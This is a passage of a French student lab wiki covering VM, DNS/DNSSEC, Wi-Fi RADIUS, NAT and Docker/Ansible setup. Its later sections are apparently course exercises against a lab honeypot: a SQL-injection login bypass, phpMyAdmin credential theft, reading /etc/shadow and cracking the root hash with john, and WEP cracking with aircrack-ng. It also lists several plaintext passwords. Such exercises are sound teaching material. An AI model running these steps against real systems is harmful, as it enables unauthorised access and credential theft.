   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/piedbleu&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55010</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55010"/>
				<updated>2020-12-18T22:44:06Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
